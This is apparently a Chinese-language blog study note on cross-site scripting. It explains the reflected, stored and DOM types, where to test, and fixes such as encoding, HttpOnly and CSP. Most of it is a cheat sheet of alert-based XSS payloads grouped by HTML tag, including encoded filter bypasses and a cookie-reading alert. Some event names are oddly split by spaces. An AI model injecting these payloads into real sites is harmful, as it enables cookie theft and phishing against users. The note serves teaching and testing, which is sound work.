XSS跨站-输入输出-原理&分类&闭合
漏洞原理:接受输入数据(如前端JS代码进行执行),输出显示数据后解析执行
(先分析,在输入,有闭合绕闭合,有过滤绕过滤)
反射(非持续型攻击)有一些浏览器会阻止不确定用户会不会点击
利用:可以制造一个钓鱼网站
基础类型:反射(非持续),存储(持续),DOM-BASE
存储型攻击(评论区留言板功能没有删除功能,一直存在该网页上,输入数据后直接写到数据库中当另一个人访问该网站时自动执行植入代码跳出弹框)
DOM攻击
和反射型还有存储型的区别:通过js代码把网站上面显示的url或者js代码当做参数传入
拓展类型:jquery,mxss,uxss,pdfxss,flashxss,上传xss等
常用标签:https://www.freebuf.com/articles/web/340080.html
尝试闭合标签
攻击利用:盲打,COOKIE盗取,凭据窃取,页面劫持,网络钓鱼,权限维持等
安全修复:字符过滤,实例化编码,http_only,CSP防护,WAF拦截等
测试流程:看输出想输入在哪里,更改输入代码看执行(标签,过滤决定)
#XSS跨站-分类测试-反射&存储&DOM
-数据交互的地方
get、post、headers
反馈与浏览
富文本编辑器
各类标签插入和自定义
-数据输出的地方
用户资料
数据输出
评论,留言等
关键词、标签、说明
文件上传
-反射型XSS:(某案例测试)
常见情况是攻击者通过构造一个恶意链接的形式,诱导用户传播和打开,
由于链接内所携带的参数会回显于页面中或作为页面的处理数据源,最终造成XSS攻击。
-存储型XSS:(某案例测试)
存储型XSS是持久化的XSS攻击方式,将恶意代码存储于服务器端,
当其他用户再次访问页面时触发,造成XSS攻击。
-DOM-base型XSS:(某案例测试)
通过修改原始的客户端代码,受害者浏览器的DOM环境改变,导致有效载荷的执行。
页面本身没有变化,但由于DOM环境被恶意修改,有客户端代码被包含进了页面并执行。
常用标签:https://www.freebuf.com/articles/web/340080.html
xss 常见标签语句
1. a 标签
<a href="javascript:alert(1)">test</a>
<a href="x" onfocus="alert('xss');" autofocus="">xss</a>
<a href="x" onclick=eval("alert('xss');")>xss</a>
<a href="x" onm ouseover="alert('xss');">xss</a>
<a href="x" onm ouseout="alert('xss');">xss</a>
2. img 标签
<img src=x one rror="alert(1)">
<img src=x one rror=eval("alert(1)")>
<img src=1 onm ouseover="alert('xss');">
<img src=1 onm ouseout="alert('xss');">
<img src=1 onclick="alert('xss');">
3. iframe 标签
<iframe src="javascript:alert(1)">test</iframe>
<iframe onl oad="alert(document.cookie)"></iframe>
<iframe onl oad="alert('xss');"></iframe>
<iframe onl oad="base64,YWxlcnQoJ3hzcycpOw=="></iframe>
<iframe onm ouseover="alert('xss');"></iframe>
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
4. audio 标签
<audio src=1 one rror=alert(1)>
<audio><source src="x" one rror="alert('xss');"></audio>
<audio controls onfocus=eval("alert('xss');") autofocus=""></audio>
<audio controls onm ouseover="alert('xss');"><source src="x"></audio>
5. video 标签
<video src=x one rror=alert(1)>
<video><source one rror="alert('xss');"></video>
<video controls onm ouseover="alert('xss');"></video>
<video controls onfocus="alert('xss');" autofocus=""></video>
<video controls onclick="alert('xss');"></video>
6. svg 标签
<svg onl oad=javascript:alert(1)>
<svg onl oad="alert('xss');"></svg>
7. button 标签
<button onclick=alert(1)>
<button onfocus="alert('xss');" autofocus="">xss</button>
<button onclick="alert('xss');">xss</button>
<button onm ouseover="alert('xss');">xss</button>
<button onm ouseout="alert('xss');">xss</button>
<button onm ouseup="alert('xss');">xss</button>
<button onm ousedown="alert('xss');"></button>
8. div 标签
这个需要借助url编码来实现绕过
原代码:
<div onm ouseover='alert(1)'>DIV</div>
经过url编码:
<div onm ouseover%3d'alert%26lpar%3b1%26rpar%3b'>DIV<%2fdiv>
9. object标签
这个需要借助 data 伪协议和 base64 编码来实现绕过
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4="></object>
10. script 标签
<script>alert('xss')</script>
<script>alert(/xss/)</script>
<script>alert(123)</script>
11. p 标签
<p onclick="alert('xss');">xss</p>
<p onm ouseover="alert('xss');">xss</p>
<p onm ouseout="alert('xss');">xss</p>
<p onm ouseup="alert('xss');">xss</p>
12. input 标签
<input onclick="alert('xss');">
<input onfocus="alert('xss');">
<input onfocus="alert('xss');" autofocus="">
<input onm ouseover="alert('xss');">
<input type="text" onkeydown="alert('xss');"></input>
<input type="text" onkeypress="alert('xss');"></input>
<input type="text" onkeydown="alert('xss');"></input>
13. details 标签
<details ontoggle="alert('xss');"></details>
<details ontoggle="alert('xss');" open=""></details>
14. select 标签
<select onfocus="alert('xss');" autofocus></select>
<select onm ouseover="alert('xss');"></select>
<select onclick=eval("alert('xss');")></select>
15. form 标签
<form method="x" action="x" onm ouseover="alert('xss');"><input type=submit></form>
<form method="x" action="x" onm ouseout="alert('xss');"><input type=submit></form>
<form method="x" action="x" onm ouseup="alert('xss');"><input type=submit></form>
- body 标签
<body onl oad="alert('xss');"></body>
标签:XSS,存储,跨站,WEB,DOM,标签,代码,xss
From: https://www.cnblogs.com/TNpiper/p/18561424